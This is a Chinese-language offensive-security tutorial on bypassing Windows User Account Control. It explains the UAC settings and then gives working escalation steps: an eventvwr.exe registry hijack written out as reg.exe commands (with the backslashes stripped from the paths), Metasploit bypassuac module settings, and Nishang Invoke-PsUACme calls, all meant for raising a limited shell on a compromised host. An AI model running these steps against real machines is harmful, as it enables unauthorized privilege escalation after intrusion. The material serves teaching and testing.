0x01 什么是UAC
用户帐户控制 (UAC) 是 Windows Vista 和 Windows Server 2008 开始引入的一种访问控制功能。借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。 UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。
我们在运行非微软官方的软件时,即使我们的账号是属于本地管理员组的,也会以普通用户的权限来运行软件。当软件需要更改系统配置或者修改系统关键位置时,往往需要提升自己的权限来执行这些操作,此时UAC就会提醒用户“你要请允许此应用对你的设备进行更改吗?” 。一但用户点击了“是”, 就会提升该软件的权限成管理员权限,接着该软件就可以修改关键的系统配置和路径了。
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
0x02 为什么要绕过 UAC ?
在引入 UAC 后,即使我们控制的账号是属于本地管理员组的,也会以普通用户的权限来运行软件。但我们的很多操作是需要管理员权限的,如上一篇文章中的获取访问,比如上一篇文章Token窃取与利用
这里可能会有个疑问,在获取 token 的文章中,我们不是可以在 cmd 上面以管理员身份来运行,然后在 UAC 窗口点“是”来获取管理员权限的 cmd 吗?为什么还要绕过 UAC ?
这是因为,我们获取主机的权限时,一般只是得到一个执行命令的 shell,是无法点击 UAC 窗口来同意提升权限的,所以我们这个 shell ,只是一个普通权限的 shell ,很多操作都做不了。
0x03 注册表劫持
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
以高权限运行的进程图标一般有如下标志:
ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒)
寻找注册表劫持的一般思路如下:
- 通过使用SysInternals工具 sigcheck
(https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)查看哪些程序可以自动提升权限。 - 通过 Process Monitor
(https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) 程序来监控受信任程序的注册表操作,查找 NAME_NOT_FOUND 的 HKCU 注册表读取操作,并且该注册表项的值作为命令行被受信任程序读取并执行。
下面以 eventvwr.exe 程序的劫持为例, eventvwr.exe 是 windows 事件管理器, 用 sigcheck 查看,发现它是受信任的程序,可以自动提升权限
sigcheck.exe -m c:windowssystem32eventvwr.exe
接着打开 process monitor 查看 eventvwr.exe ,把过滤器设置成下面,然后打开 eventvwr.exe
可以看到它对很多注册表进行了读取,从下图可以看到,它对
HKCUSoftwareClassesmscfileshellopencommand
进行了读取,返回 NAME NOT FOUND ,也就是没有该项,接着它对
HKCRmscfileshellopencommand 进行了读取,返回 SUCCESS。
我们看看 HKCRmscfileshellopencommand 中的内容,可以看到 eventvwr.exe 读取了该项并执行 mmc.exe
这里来登录我们的test账户
可以看到test账户是属于本地管理组,但是我们打开的cmd还是普通用户权限的,无法对系统文件进行修改
所以我们可以通过下面命令添加注册表,并执行 eventvwr.exe
reg.exe add hkcusoftwareclassesmscfileshellopencommand /ve /d "c:windowssystem32cmd.exe /c "start cmd"" /f
eventvwr.exe
运行后会新打开一个 cmd 窗口,该窗口为管理员权限,成功绕过 UAC
利用成功后清除注册表
reg.exe delete hkcusoftwareclassesmscfile /f >nul 2>&1
成功绕过UAC
0x04 msf bypass uac
Bypassuac提权的MSF模块
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
MSF中Bypassuac模块的使用前提有两个:
一是系统当前用户必须在管理员组中,
二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 6666 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
0x05 Nishang中的Invoke-PsUACme.ps1
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC
Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法并执行默认的payload
Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法并执行默认的payload